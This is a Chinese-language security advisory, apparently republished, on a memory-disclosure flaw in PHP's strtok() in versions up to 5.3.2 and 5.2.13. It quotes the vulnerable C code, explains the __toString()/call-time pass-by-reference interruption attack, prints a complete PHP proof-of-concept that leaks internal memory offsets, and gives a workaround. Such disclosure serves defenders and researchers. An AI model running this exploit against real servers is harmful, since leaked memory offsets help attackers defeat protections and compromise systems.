PHP strtok()函数中断处理地址信息泄露漏洞

受影响系统:

PHP PHP <= 5.3.2
PHP PHP <= 5.2.13

描述:

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的strtok()函数中存在信息泄露漏洞:

PHP_FUNCTION(strtok)
{      
    char *str, *tok = NULL;
    int str_len, tok_len = 0;
    zval *zv;
    
    char *token;
    char *token_end;
    char *p;
    char *pe;
    int skipped = 0;
    
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|s", &str, &str_len, &tok, &tok_len) == FAILURE) {
        return;
    }

    if (ZEND_NUM_ARGS() == 1) {
        tok = str;
        tok_len = str_len;
    } else {
        if (BG(strtok_zval)) {
            zval_ptr_dtor(&BG(strtok_zval));
        }
        MAKE_STD_ZVAL(zv);
        ZVAL_STRINGL(zv, str, str_len, 1);

        BG(strtok_zval) = zv;
        BG(strtok_last) = BG(strtok_string) = Z_STRVAL_P(zv);
        BG(strtok_len) = str_len;
    }

zend_parse_parameters()函数最多将2个字符串参数检索到了本地变量,放松了这些变量与原始ZVAL之间的联系。问题是在原始ZVAL被中断修改的情况下,字符串指针会指向已释放的或重用的内存。这种情况下的中断攻击也比较容易,因为zend_parse_parameters()支持对象的__toString()方式。攻击者只需以strtok()第二个参数的形式传送对象,由于call time pass by reference功能,之后攻击者可以从__toString()方式杀死第一个字符串参数,并重用于哈希表。这会导致strtok()作用于哈希表的内存而不是字符串的内存,允许攻击者泄露重要的内部内存偏移。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:
http://php-security.org/2010/05/26/mops-2010-043-php-strtok-interruption-information-leak-vulnerability/index.html
*>

测试方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

<?php
class dummy
{  
    function __toString()
    {
        /* now the magic */
        parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS[‘var’]);
        return "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
    }  
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS[‘var’] = str_repeat("A", 39);
} else {
    $GLOBALS[‘var’] = str_repeat("A", 67);      
}

/* Trigger the Code */  
$x = strtok(&$GLOBALS[‘var’], new dummy());
hexdump($x);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "——-\n";

    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "– "; }

    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
    }
    echo "\n";
}
?>

建议:

临时解决方法:

* 禁用call time pass by reference功能。

厂商补丁:

PHP

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

发表评论?

0 条评论。

发表评论